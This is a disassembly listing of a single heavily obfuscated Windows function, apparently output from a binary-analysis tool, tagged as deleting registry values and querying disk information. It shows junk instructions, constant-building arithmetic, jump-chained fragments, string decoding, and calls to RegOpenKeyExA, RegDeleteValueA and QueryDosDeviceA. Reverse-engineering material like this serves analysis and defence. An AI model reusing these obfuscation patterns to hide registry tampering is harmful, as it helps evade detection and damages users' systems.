Function at 0x14007c280
Capabilities:
Delete registry value
Get disk information

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
xchg r10, rbx
jmp 0x14007c4ff
sub qword [rbp - 0x40], 0x4daa74cb
add qword [rbp - 0x40], 0x6690d31
sub qword [rbp - 0x40], 0x2b0f74a
jmp 0x14007c45a
mov dword [rsp - 0x10], esp
jne 0x14007c44e
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
jmp 0x14007c6a4
mov r8d, 0x15aa91a6
sub r8d, 0xb997a69
add r8d, 0x4e339d7
xor r8d, 0x36f9bda4
add r8d, 0x8944784
jmp 0x14007c710
lea rcx, [rbp - 0x10]
xchg r8, r8
cmp rcx, rax
ja 0x14007c74e
lea rax, [rbp - 0x10]
xchg r10, r10
cmp rdi, rax
jmp 0x14007c322
mov qword [rsp], r15
lea rbp, [rax - 0x168]
add rsp, 0x3564e0cd
jmp 0x14007c495
ja 0x14007c734
mov rsi, r14
mov dword [rsp - 0x2c], 0x28423f8b
jmp 0x14007c75c
cmp qword [rcx + 0x18], 0x10
jb 0x14007c6b6
mov rdx, rdx
xchg r13, rdx
mov r13, qword [rcx]
xchg rdx, r13
jmp 0x14007c6b6
xchg r14, r13
mov qword [rbp - 0x48], r13
xchg r14, r13
mov qword [rbp - 0x40], 0x64e937c0
xor qword [rbp - 0x40], 0x768225fc
add qword [rbp - 0x40], 0x343bfeeb
add qword [rbp - 0x40], 0x33846833
jmp 0x14007c28f
mov qword [rsp + 0x48], 0x8eb0595
add qword [rsp + 0x48], 0x74d17786
sub qword [rsp + 0x48], 0x7b3173c
sub qword [rsp + 0x48], 0x4bfeaf8f
add qword [rsp + 0x48], 0x1a3104d6
sub qword [rsp + 0x48], 0x1242fafb
jmp 0x14007c3be
add qword [rsp + 0x48], 0x35b5701b
xor qword [rsp + 0x48], 0x2d2eb74d
sub qword [rsp + 0x48], 0x4a8086fc
mov byte [rsp + 0x30], r14b
xchg rsp, rax
jmp 0x14007c3fd
add rax, rbx
mov rdi, rdi
cmp rax, rdi
jbe 0x14007c74e
lea rax, [rdi + r8]
jmp 0x14007c2ec
mov rsp, qword [rdi + 0x10]
xchg rsp, rax
cmp rax, 2
xchg rsi, rsi
jb 0x14007dcb4
nop
sub rax, 0xffffffff9239532f
jmp 0x14007c5c3
ja 0x14007dcae
call fcn.1400e2868
test bl, bl
jmp 0x14007c5f7
xchg r13, rax
lea rdi, [rsp + 0x30]
mov dword [rsp - 0x3c], esi
cmp rcx, 0x10
cmovae rdi, qword [rsp + 0x30]
lea rax, [rbp - 0x10]
jmp 0x14007c3e5
nop
inc rbx
cmp byte [rax + rbx], 0
jmp 0x14007c2ac
xor qword [rbp - 0x40], 0x30391a79
mov r8d, 0x21f02692
sub r8d, 0x1dc51f85
add r8d, 0x307d7b47
jmp 0x14007c47b
sub r8d, 0x2826ad4e
add r8d, 0x3642d874
xor r8d, 0x3a23777b
jmp 0x14007c686
sub rsp, 0x3564e31d
xchg r11, rax
movaps xmmword [r11 - 0x28], xmm6
xchg r11, rax
jmp 0x14007c4aa
xchg rbp, rax
movaps xmmword [rbp - 0x38], xmm7
xchg rbp, rax
movaps xmmword [rax - 0x48], xmm8
mov dword [rsp - 0x1c], 0x2bf266b
xchg r9, rax
jmp 0x14007c545
add rbx, 0x165cbec6
xor rbx, 0x753adf2d
sub rbx, 0x15c4fcf1
xor rbx, 0x4a16994
xor rbx, 0x65c36e0
jmp 0x14007c6d0
nop
mov qword [rsp - 8], r14
sub rsp, 8
push r14
jmp 0x14007c30b
mov qword [rax + 0x10], r10
xchg r10, rbx
mov qword [rax + 0x18], rsi
mov rbx, rbx
xchg rdi, rdx
jmp 0x14007c594
nop
sub rdx, 0x4de2c341
add rdx, 0x4de2c368
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x18], edx
jmp 0x14007c531
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
mov dword [rsp - 0x2c], edi
jmp 0x14007c41c
movaps xmmword [r9 - 0x58], xmm9
xchg r9, rax
mov rax, qword [0x14024e2e0]
mov r15, r15
xor rax, rsp
jmp 0x14007c65a
lea rcx, [rsp + 0x30]
call fcn.140018fe0
nop
xchg rdx, rdx
lea rax, [rbp - 0x10]
jmp 0x14007c44c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
xchg r14, r14
cmp rdx, 0x1000
jb 0x14007c422
jmp 0x14007c515
mov qword [rax + 0x20], rdx
xchg rdi, rdx
nop
mov qword [rsp - 8], rbp
sub rsp, 8
jmp 0x14007c4ee
xchg r9, rdi
xor r14d, r14d
mov dword [rsp - 0x30], ebx
xchg r13, r14
mov qword [rbp - 0x58], r13
xchg r14, r13
jmp 0x14007c354
add rax, 0xffffffff9239532d
nop
movabs rbx, 0xffffffff10a9ba64
sub rbx, 0x8cf251b
jmp 0x14007c4c6
cmp qword [rbp - 0x40], 0x10
cmovae rcx, qword [rbp - 0x58]
mov dword [rsp - 0x18], 0x68a46aa4
jmp 0x14007c2c5
mov rcx, rcx
je 0x14007dc1e
xchg r14, r12
mov qword [rsp + 0x30], r12
xchg r12, r14
mov qword [rsp + 0x40], r14
jmp 0x14007c383
mov dword [rsp - 0x24], 0x66566cd5
cmovb r8, rax
cmp qword [rdi + 0x18], 0x10
jb 0x14007c633
mov rdi, qword [rdi]
mov dword [rsp - 0x10], esp
lea rdx, [rdi + 2]
jmp 0x14007c55e
test eax, eax
mov r11, r11
setne bl
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14007c427
mov rsp, rsp
jmp 0x14007c575
xchg rsp, rax
mov qword [rbp + 0x100], rsp
xchg rsp, rax
xchg rdi, r9
mov r9, rcx
jmp 0x14007c5aa
xchg rsi, rsi
cmovb r8, qword [rcx + 0x10]
xchg rcx, rdx
mov rcx, rdx
xchg rdx, rcx
jmp 0x14007c338
xor r8d, 0x6bf851b8
xor r8d, 0x49d48d42
xor r8d, 0x5acb06f9
cmp qword [rcx + 0x10], r8
jmp 0x14007c670
xchg rdi, rax
mov rdi, rcx
xchg rdi, rax
sub rax, r8
mov r9, r9
jmp 0x14007c6ef
lea rcx, [rbp - 0x58]
mov dword [rsp - 0x10], 0x16a1d581
call fcn.140018fe0
lea rcx, [rbp - 0x58]
jmp 0x14007c5e0
add rbx, 0x7fffffff
xor rbx, 0x284a2ebb
xchg rbx, rdi
mov r8, rdi
xchg rbx, rdi
cmp rax, rbx
jmp 0x14007c615
cmp rbx, rax
ja 0x14007c7d3
lea rax, [rbx + r8]
mov dword [rsp - 0x38], 0x21f0954d
xchg r13, rax
mov qword [rsp + 0x40], r13
jmp 0x14007c42e
sub r8d, 0x8d2a4f8
add r8d, 0x47ee7955
sub r8d, 0x7fbe078d
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
jmp 0x14007c63c
lea rax, [rbp - 0x10]
xchg r12, rdi
mov rsi, r12
jmp 0x14007c743
xchg rdi, r12
sub rsi, rax
jmp 0x14007c75c
xchg rsi, r9
mov r9, rbx
xchg r9, rsi
jmp 0x14007c75c
lea rcx, [rdi + rbx]
inc r8
xchg r10, r10
mov rdx, rdi
call fcn.1400e4a20
xchg r13, rsi
mov r8, r13
jmp 0x14007c7bc
call fcn.1400e4a20
lea rcx, [rdi + rsi]
mov r15, r15
xchg rdx, r8
mov rdx, rbx
xchg rdx, r8
sub r8, rsi
jmp 0x14007c7a0
lea rax, [rsp + 0x30]
jmp 0x14007d623
xchg rbp, rbp
lea rax, [rsi + rbx]
lea rdx, [rbp - 0x10]
add rdx, rax
mov dword [rsp - 0x40], esi
call fcn.1400e4a20
jmp 0x14007c796
xchg rsi, r13
lea rdx, [rbp - 0x10]
mov dword [rsp - 0x44], 0x599e509d
mov rcx, rdi
jmp 0x14007c779
xchg rbx, r8
mov qword [rsp + 0x28], r8
xchg r8, rbx
jmp 0x14007cdc4
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
xchg r14, r14
psrad xmm1, xmm6
jmp 0x14007cd3c
mov r8d, r14d
mov rcx, rcx
mov esi, 0x792b147d
jmp 0x14007d674
add r8d, 0x18ce1224
sub r8d, 0x18ce121c
lea rcx, [rcx + 8]
mov dword [rsp - 0x2c], 0x29b01ba8
cmp r8d, 0x38
jl 0x14007ccb8
jmp 0x14007cb86
sar edx, 3
sar edx, 1
mov eax, edx
shr eax, 0x1a
shr eax, 2
shr eax, 3
add edx, eax
jmp 0x14007da43
shr eax, 1
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
xchg r10, r10
movzx eax, r8b
sub al, cl
jmp 0x14007d841
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov r13, r13
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x14007d9ea
mov dword [rsp - 0xc], ebp
xchg rsp, r10
movups xmmword [r10 + 0x70], xmm0
xchg rsp, r10
movups xmm1, xmmword [0x140115590]
xchg rbp, r14
jmp 0x14007d42c
movups xmmword [r12 + 0x70], xmm0
xchg rsp, r12
movups xmm1, xmmword [0x140115620]
mov dword [rsp - 0x18], 0x5a0c66a5
movups xmmword [rbp - 0x80], xmm1
jmp 0x14007cac4
xchg r8, rsp
movups xmmword [r8 + 0x50], xmm0
xchg rsp, r8
movups xmm1, xmmword [0x140115600]
jmp 0x14007d75e
xchg rsp, rdi
movups xmmword [rdi + 0x60], xmm1
xchg rdi, rsp
movups xmm0, xmmword [0x1401155d0]
jmp 0x14007ce3a
xchg r13, r13
nop
movabs rcx, 0xffffffff02be2ddc
jmp 0x14007d0f1
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x27
jl 0x14007d5e2
mov r13, r13
mov edx, r9d
lea rcx, [rsp + 0x50]
jmp 0x14007d0b9
mov dword [rsp - 0x3c], 0x295adea
jb 0x14007d25b
nop
add rdx, 0x2e9eefc7
sub rdx, 0x2e9eefa0
mov rcx, qword [rcx - 8]
jmp 0x14007cf0f
add r9d, 0x2867210c
sub r9d, 0x459f0ce7
add r9d, 0x6494cd13
sub r9d, 0x567888f6
jmp 0x14007cd7c
movdqa xmm0, xmm3
mov dword [rsp - 0x3c], 0x342103f0
punpckhdq xmm0, xmm3
jmp 0x14007c7e3
add rcx, 0x2b0a0768
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
xchg rdx, rdx
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14007d48a
jmp 0x14007d213
mov dword [rsp - 0x44], edi
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
xchg r14, r14
jmp 0x14007cfb5
mov dword [rsp - 0xc], ebx
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14007d650
mov dword [rsp - 0x10], 0x3323970d
mov rsi, qword [r11 + 0x30]
xchg rdi, r14
mov r14, qword [r11 + 0x38]
xchg rdi, r14
xchg rbp, r11
jmp 0x14007db84
add rsp, 8
mov rbp, qword [rsp - 8]
ret
add qword [rbp - 0x40], 0x1517e152
xor qword [rbp - 0x40], 0x23d6f0cd
mov byte [rbp - 0x58], 0x7d
sub byte [rbp - 0x58], 5
xor byte [rbp - 0x58], 0xe
jmp 0x14007d191
mov rcx, qword [rbp - 0x58]
xchg rbx, rcx
mov rax, rbx
xchg rcx, rbx
cmp rdx, 0x1000
jmp 0x14007c920
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
mov dword [rsp - 0x24], esp
jl 0x14007daf0
jmp 0x14007ca89
add eax, 0xfded982
add eax, 0x48f39e76
sub eax, 0x1f46628a
add eax, 0x20bbf61f
sub eax, 0x1901509a
imul r8d
mov rdx, rdx
jmp 0x14007c831
inc rdx
mov rcx, qword [rsp + 0x30]
mov r12, r12
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d05d
jmp 0x14007d450
cmp r8d, 0x27
jge 0x14007daad
movsxd rax, r8d
mov r13, r13
lea r9, [rsp + 0x50]
lea r9, [r9 + rax*2]
nop dword [rax]
jmp 0x14007d700
xor rcx, 0x9b3ecb9
xor rcx, 0x3f11b777
sub rcx, 0x849fd55
jmp 0x14007c97c
movsd xmm0, qword [0x140115630]
xchg rbp, rbx
movsd qword [rbx - 0x70], xmm0
jmp 0x14007cfd7
xchg r14, r14
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401123b0]
mov dword [rsp - 0x14], edi
jmp 0x14007d714
cmp qword [rax + 0x18], 0x10
jb 0x14007cb72
mov rax, qword [rax]
mov dword [rsp - 0x1c], 0x4a1b544b
jmp 0x14007cb72
lea rcx, [rsp + 0x30]
call fcn.1400ae140
xchg rsi, rsi
jmp 0x14007caf7
xor eax, 0x4a768b61
imul r8d
xchg r9, r9
sar edx, 2
sar edx, 1
jmp 0x14007d090
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov rdi, rdi
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14007d46a
movdqa xmm0, xmmword [0x1401123d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
jmp 0x14007cca9
lea rdx, [rbp - 0x60]
xchg r14, rdx
mov qword [rsp + 0x20], r14
xchg rdx, r14
jmp 0x14007cc12
cmp r8d, 0x39
mov dword [rsp - 0x24], edi
jge 0x14007cd93
movsxd rax, r8d
lea r9, [rsp + 0x50]
jmp 0x14007cda1
sub rdx, 0x4b1db27a
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x30], 0x738730fd
jmp 0x14007d4d7
pshufhw xmm1, xmm0, 0xd8
xchg r9, r9
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
jmp 0x14007dbf0
jge 0x14007d8f9
mov r13, r13
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
jmp 0x14007cf91
mov dword [rsp - 0x40], edi
jb 0x14007dc1e
inc rdx
mov rcx, qword [rbp - 0x38]
mov dword [rsp - 0x40], edi
jmp 0x14007d6eb
mov rbp, rbp
inc r8d
lea r9, [r9 + 2]
jmp 0x14007d00d
mov r9d, 0x6dd34e46
sub r9d, 0x6591e621
xor r9d, 0x5c823346
sub r9d, 0x39e1ac1f
add r9d, 0x3c8f2559
xor r9d, 0x1159b020
jmp 0x14007d22a
movaps xmm7, xmmword [r12 - 0x20]
xchg r12, r11
xchg r10, r11
movaps xmm8, xmmword [r10 - 0x30]
xchg r10, r11
xchg rbp, r11
jmp 0x14007d375
sub rcx, 0x3995d5eb
add rcx, 0x7fffffff
sub rcx, 0x2bca6dc7
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9, r9
mov edi, eax
mov rdx, qword [rsp + 0x48]
jmp 0x14007db54
mov eax, dword [0x1401155e8]
mov dword [rbp - 0x78], eax
mov dword [rsp - 0x30], 0x49de5a66
movzx eax, byte [0x1401155ec]
mov byte [rbp - 0x74], al
mov r8d, r14d
jmp 0x14007dc87
xchg rsp, rsp
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x28], edi
jmp 0x14007d785
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
xchg rbp, rbp
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
jmp 0x14007d820
movdqa xmm4, xmmword [0x140115f90]
mov dword [rsp - 0x30], edi
movd xmm6, esi
movdqa xmm7, xmmword [str.1111]
jmp 0x14007dc47
add edx, eax
movzx eax, dx
xchg rcx, rcx
imul edx, eax, 0x31
movzx eax, cx
sub ax, dx
mov r8, r8
jmp 0x14007da97
xchg rsp, r13
movups xmmword [r13 + 0x60], xmm1
xchg r13, rsp
movups xmm0, xmmword [0x140115580]
jmp 0x14007c882
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
xchg r11, r11
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x14007cad9
paddd xmm2, xmm5
movdqa xmm1, xmm2
xchg r9, r9
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
jmp 0x14007d0d3
sub r9d, 0x27305146
xor r8d, r8d
xchg rbx, rax
mov rdx, rbx
jmp 0x14007d8a2
xchg r15, r15
xchg r10, r8
mov r10, r8
xchg r10, r8
jmp 0x14007d63e
add r9, rax
mov dword [rsp - 0x18], 0x847b82e
nop dword [rax]
nop word [rax + rax]
mov eax, 0x224e4148
jmp 0x14007d2c8
lea rax, [rbp - 0x10]
mov rsp, rsp
xchg r12, rax
mov qword [rsp + 0x20], r12
jmp 0x14007d112
add qword [rsp + 0x48], 0x678efcb5
sub qword [rsp + 0x48], 0x7a575d2b
mov byte [rsp + 0x30], 0x38
jmp 0x14007cef1
call fcn.1400ae140
cmp qword [rax + 0x18], 0x10
mov dword [rsp - 0x3c], 0x589dfb85
jb 0x14007d300
jmp 0x14007d2fd
sar edx, 1
sar edx, 1
mov eax, edx
xchg r10, r10
shr eax, 0x1e
shr eax, 1
jmp 0x14007d8bb
test eax, 0xfffffffd
je 0x14007d0be
movups xmm0, xmmword [0x1401155f0]
jmp 0x14007c8c1
xchg r12, r12
movups xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [str.1WG_XPKe]
xchg rbp, r11
movsd qword [r11 - 0x80], xmm1
xchg r11, rbp
jmp 0x14007cc86
mov dword [rsp - 0x1c], 0xcf7cee
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14007cdba
jmp 0x14007cd90
mov eax, dword [0x1401155a8]
mov r9, r9
mov dword [rbp - 0x68], eax
movzx eax, word [0x1401155ac]
mov word [rbp - 0x64], ax
mov r8d, r14d
jmp 0x14007d598
sar edx, 3
sar edx, 1
mov eax, edx
shr eax, 0x10
shr eax, 4
shr eax, 0xb
jmp 0x14007cd0c
mov r10, r10
cmp rdx, 0x10
jb 0x14007d066
jmp 0x14007ca69
add byte [rax], 0x49
xor byte [rax], 0x70
add byte [rax], 0x59
sub byte [rax], 7
sub byte [rax], 0x1c
xor byte [rax], 0x4b
mov rdx, qword [rsp + 0x48]
jmp 0x14007cec3
sub byte [rsp + 0x30], 0x17
xor byte [rsp + 0x30], 0x14
add byte [rsp + 0x30], 0x48
add byte [rsp + 0x30], 0
sub byte [rsp + 0x30], 0x1b
jmp 0x14007d23c
sub rax, rcx
nop
add rax, 0xffffffff838bc542
sub rax, 0xffffffff838bc54a
cmp rax, 0x1f
jmp 0x14007d252
mov dword [rsp - 0x20], 0x7c9cbcae
nop dword [rax]
nop word [rax + rax]
mov eax, 0x42137c76
xor eax, 0x5043bbdc
jmp 0x14007ca45
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov dword [rsp - 0x2c], 0x321de344
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14007d770
xchg rbx, rbp
mov eax, dword [0x140115638]
mov dword [rbp - 0x68], eax
movzx eax, word [0x14011563c]
mov dword [rsp - 0x38], ebx
mov word [rbp - 0x64], ax
jmp 0x14007d6c7
movd xmm3, eax
mov dword [rsp - 0x14], ecx
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
jmp 0x14007d98f
cmp r8d, 0x27
xchg rsi, rsi
jl 0x14007d700
jmp 0x14007daad
ja 0x14007dcdd
call fcn.1400e2868
test edi, edi
jne 0x14007d2ae
mov dword [rsp - 0x40], edi
lea rdx, [rbp - 0x10]
xchg rcx, r12
jmp 0x14007d5fb
movdqa xmm0, xmm1
mov rsi, rsi
psrld xmm0, xmm8
jmp 0x14007db42
cmp rax, 0x1f
ja 0x14007dcc4
call fcn.1400e2868
mov dword [rsp - 0x18], esi
xchg r8, r14
jmp 0x14007d729
cmp rdx, 0x1000
jb 0x14007d4ea
mov dword [rsp - 0x34], 0x171dcc8
nop
add rdx, 0x4b1db2a1
jmp 0x14007cba1
sar edx, 1
mov eax, edx
shr eax, 0x12
shr eax, 3
shr eax, 2
shr eax, 1
shr eax, 6
jmp 0x14007c848
movups xmm0, xmmword [0x140115610]
mov rcx, rcx
xchg r12, rsp
jmp 0x14007c8a0
call fcn.1400a6e50
xchg rcx, rsp
mov rsp, qword [rbp - 0x60]
xchg rsp, rcx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14007d2aa
punpckhdq xmm0, xmm2
mov dword [rsp - 0x2c], 0xcf52769
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14007d042
add rcx, 0x694a4823
sub rcx, 0x409f63c9
add rcx, 0x3a205d67
sub rcx, 0x292be8
jmp 0x14007cc5c
xchg r12, rax
xor r9d, r9d
xchg r13, r13
xor r8d, r8d
jmp 0x14007db6e
xchg rcx, rbx
mov r9d, 0x190176ee
xor r9d, 0x2f5b8fad
jmp 0x14007c946
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0xc], edi
jmp 0x14007d1d9
mov rdi, r10
xchg rdi, r8
lea rdx, [rsp + 0x50]
jmp 0x14007cb12
pmulld xmm0, xmm7
mov dword [rsp - 0x44], 0x4f58f01d
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14007d137
xor byte [rbp - 0x58], 0x5d
sub byte [rbp - 0x58], 0xb
sub byte [rbp - 0x58], 0x20
xchg rdx, r15
jmp 0x14007d613
movdqa xmm4, xmmword [0x140115f90]
movd xmm6, esi
movdqa xmm7, xmmword [str.1111]
movd xmm8, r15d
mov r15, r15
jmp 0x14007cb56
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r10d, eax
test eax, 0xfffffffd
jmp 0x14007d9a5
pand xmm2, xmmword [0x1401123b0]
packuswb xmm2, xmm2
movd xmm0, edx
xchg r12, r12
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
jmp 0x14007d4a7
movd xmm6, esi
xchg r15, r15
movdqa xmm7, xmmword [str.1111]
movd xmm8, r15d
jmp 0x14007dbc3
mov r14, r14
inc rdx
mov rcx, qword [rsp + 0x30]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
jmp 0x14007d06e
xor r9d, 0x46266482
xor r8d, r8d
mov rdx, rax
jmp 0x14007c8ee
sub byte [rsp + 0x30], 0x46
sub byte [rsp + 0x30], 0x1c
lea rcx, [rbp - 0x58]
xchg rbp, rbp
jmp 0x14007d3ae
mov r11, r11
ja 0x14007dce3
call fcn.1400e2868
xchg r14, r13
mov qword [rbp - 0x48], r13
jmp 0x14007d7a3
mov dword [rsp - 0x28], ebx
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x34], edx
jmp 0x14007d3c0
add eax, 0x22923820
add eax, 0x1943cb74
sub eax, 0x313f6f92
sub eax, 0x5d7b53f
add eax, 0x47571b95
imul r8d
sar edx, 2
jmp 0x14007ce10
mov r8, r8
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14007d260
mov dword [rsp - 0x10], esp
inc rdx
jmp 0x14007ca15
xor eax, 0x905d009
xor eax, 0x1b8259ea
add eax, 0x324988a6
sub eax, 0x49324755
jmp 0x14007cb24
cmp qword [rbp - 0x40], 0x10
cmovae r10, qword [rbp - 0x58]
movups xmm0, xmmword [str.ajgaszdzUUHOQS]
mov rcx, rcx
xchg rsp, r8
jmp 0x14007d390
mov rax, qword [rax]
lea rcx, [rbp - 0x60]
xchg rdx, rdx
xchg rbx, rcx
mov qword [rsp + 0x20], rbx
jmp 0x14007d122
xor qword [rax + 0x18], 0x17b0e5d6
add qword [rax + 0x18], 0x27c207fa
sub qword [rax + 0x18], 0x39f2740c
mov byte [rax], 0x4d
xor byte [rax], 0x58
add byte [rax], 7
jmp 0x14007ced5
xchg r10, r10
pand xmm2, xmmword [0x1401123b0]
packuswb xmm2, xmm2
movd xmm0, edx
mov r11, r11
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
jmp 0x14007d7e8
mov dword [rsp - 0x10], 0x22d721eb
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14007da28
movaps xmm9, xmmword [rbp - 0x40]
xchg r11, rbp
xchg r11, r12
mov rsp, r12
xchg r12, r11
nop
add rsp, 8
jmp 0x14007db93
movups xmmword [r8 + 0x50], xmm0
xchg r8, rsp
movups xmm1, xmmword [0x140115530]
xchg rsp, rdx
movups xmmword [rdx + 0x60], xmm1
xchg rsp, rdx
jmp 0x14007dc6c
call fcn.1400a93a0
nop
lea r10, [rbp - 0x58]
xchg rbx, rbx
jmp 0x14007d2e1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14007c9bb
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov rbx, rbx
jmp 0x14007cb39
sub rax, rcx
nop
sub rax, 0xffffffffc191e4f3
add rax, 0xffffffffc191e4eb
cmp rax, r15
mov dword [rsp - 0x10], ebx
jmp 0x14007d01f
lea r10, [rbp - 0x58]
mov dword [rsp - 0x14], edi
cmp qword [rbp - 0x40], 0x10
cmovae r10, qword [rbp - 0x58]
movups xmm0, xmmword [0x1401155b0]
xchg rcx, rsp
movups xmmword [rcx + 0x50], xmm0
jmp 0x14007d68b
movups xmmword [r14 - 0x80], xmm1
xchg rbp, r14
movsd xmm0, qword [0x1401155a0]
mov r13, r13
xchg rbp, r8
movsd qword [r8 - 0x70], xmm0
xchg rbp, r8
jmp 0x14007ce79
xchg r13, r13
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
xchg rbx, rbx
add rax, 0xfffffffffffffff8
jmp 0x14007d053
pmulld xmm0, xmm7
xchg rcx, rcx
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14007d33a
test edi, edi
jne 0x14007d407
lea rdx, [rbp - 0x10]
mov dword [rsp - 0x34], 0x1df69e12
mov rcx, qword [rbp - 0x60]
jmp 0x14007d1c6
pxor xmm2, xmm0
mov dword [rsp - 0x38], esp
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
jmp 0x14007cff7
xchg rdx, rdx
pxor xmm2, xmm0
movd dword [rcx], xmm2
neg r8d
add r8d, 0xfffffff8
neg r8d
jmp 0x14007d901
sub rax, rcx
sub rax, 8
cmp rax, r15
ja 0x14007dcca
xchg r14, r14
call fcn.1400e2868
jmp 0x14007d48a
mov dword [rsp - 0x2c], esp
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401123b0]
packuswb xmm2, xmm2
mov dword [rsp - 0x20], 0x2afc0c7d
movd xmm0, edx
paddb xmm2, xmm0
jmp 0x14007d806
mov dword [rsp - 0x40], 0x3bb724d9
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14007c9a2
movdqa xmm7, xmmword [str.1111]
mov r15, r15
movd xmm8, r15d
movdqa xmm9, xmmword [0x1401123a0]
lea rcx, [rsp + 0x50]
jmp 0x14007dae8
mov ebx, dword [0x14024e2c0]
mov r8, r8
cmp ebx, 2
jl 0x14007cb94
movdqa xmm5, xmmword [0x140112370]
mov dword [rsp - 0x34], ebx
jmp 0x14007d1a5
xchg rdi, rdi
cmp ebx, 2
jl 0x14007ca93
movdqa xmm5, xmmword [0x140112370]
mov rbp, rbp
movdqa xmm4, xmmword [0x140115f90]
movd xmm6, esi
jmp 0x14007d552
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14007d92b
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x205115bb
sub eax, 0xcea585e
add eax, 0x4d65b542
xor eax, 0x5caa4e1c
jmp 0x14007d975
mov r12, qword [rbp - 0x60]
xchg r12, rcx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r9d, eax
xchg rbp, rbp
jmp 0x14007ce23
mov r15, qword [rbp - 0x20]
xchg rdx, r15
cmp rdx, 0x10
jmp 0x14007cbe9
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
mov rcx, rcx
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r14
jmp 0x14007da72
lea rdx, [rsp + 0x50]
xchg rsp, rsp
lea rcx, [rsp + 0x30]
jmp 0x14007cdf3
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x30], 0x5fced866
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14007cbb9
xor esi, 0x3cbf1b00
sub esi, 0x280e21e4
add esi, 0x4d6e28fe
jmp 0x14007d9cf
xchg rcx, rsp
movups xmm1, xmmword [0x1401155c0]
mov dword [rsp - 0x14], 0x46aaad8f
jmp 0x14007c8d8
add qword [rbp - 0x40], 0xc2a0575
sub qword [rbp - 0x40], 0x62e8591b
add qword [rbp - 0x40], 0x7f999fc
xor qword [rbp - 0x40], 0x67c34e7
jmp 0x14007c9f4
mov ecx, r14d
cmp ebx, 2
jl 0x14007d944
mov r8, r8
movdqa xmm5, xmmword [0x140112370]
movdqa xmm4, xmmword [0x140115f90]
jmp 0x14007d1fa
